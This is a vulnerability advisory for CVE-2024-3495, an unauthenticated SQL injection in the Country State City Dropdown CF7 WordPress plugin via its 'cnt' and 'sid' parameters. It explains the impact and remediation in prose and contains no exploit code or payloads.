CVE-2024-3495
Overview
This vulnerability is a SQL Injection affecting the Country State City Dropdown CF7 WordPress plugin up to version 2.7.2. The root cause is insufficient escaping and lack of prepared statements for user-supplied parameters 'cnt' and 'sid' in the plugin's SQL queries. The affected component is the plugin's backend handling of these parameters, which directly interact with the database query construction process.
Vulnerability Description
The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands via crafted 'cnt' and 'sid' parameter values. This allows extraction of sensitive database information, potentially leading to data breaches or unauthorized data disclosure. No user interaction or privileges are required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward and highly impactful for affected sites.
Solution
Users should upgrade the Country State City Dropdown CF7 plugin to a version later than 2.7.2 where this SQL Injection vulnerability has been addressed. Detailed patch information and remediation steps are available from Wordfence's advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/17dcacaf-0e2a-4bef-b944-fb7e43d25777. Applying the updated plugin version replaces vulnerable code in ajax-actions.php with properly sanitized and parameterized SQL queries.

Full Analysis
The vulnerability in the Country State City Dropdown CF7 plugin for WordPress arises from a critical SQL Injection flaw, which is primarily due to inadequate input validation and insufficient escaping of user-supplied parameters. Specifically, the parameters ‘cnt’ and ‘sid’ are not properly sanitized before being incorporated into SQL queries. This oversight allows attackers to manipulate the SQL statements executed by the database, enabling them to inject arbitrary SQL code. The lack of prepared statements or parameterized queries exacerbates the risk, as it allows for direct execution of potentially harmful SQL commands that can compromise the integrity and confidentiality of the database.
Attack vectors for exploiting this vulnerability are straightforward and can be executed by unauthenticated users. An attacker could craft a malicious request that includes specially formatted input for the ‘cnt’ or ‘sid’ parameters. By appending SQL commands to these parameters, the attacker can execute additional queries that may reveal sensitive information stored in the database, such as user credentials, personal data, or configuration settings. Furthermore, the attacker could escalate their access by modifying or deleting data, leading to broader implications for the affected website and its users. Given the widespread use of WordPress and its plugins, the potential for exploitation is significant, especially in environments where security measures are lax.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on the affected plugin for user interaction and data collection. Successful exploitation could lead to data breaches, resulting in unauthorized access to sensitive information. This not only poses a direct risk to the organization’s reputation but also carries legal and regulatory consequences, especially if personal data is involved. The financial implications can be substantial, including costs associated with incident response, remediation, and potential fines from regulatory bodies. Moreover, the trust of customers and users can be irreparably damaged, leading to long-term repercussions for business operations.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and address weaknesses in web applications. Employing web application firewalls (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. It is also crucial to keep all plugins and software up to date, as developers frequently release patches to address known vulnerabilities. In addition, adopting secure coding practices, such as using prepared statements and parameterized queries, can significantly reduce the risk of SQL Injection vulnerabilities in future development.
In conclusion, the SQL Injection vulnerability in the Country State City Dropdown CF7 plugin for WordPress represents a significant threat to web applications that utilize this plugin. The ease of exploitation, coupled with the potential for severe real-world consequences, underscores the importance of proactive security measures. Organizations must prioritize vulnerability management and implement robust security practices to safeguard their data and maintain user trust. Failure to address such vulnerabilities not only exposes organizations to immediate risks but can also have lasting effects on their operational integrity and reputation in the digital landscape.
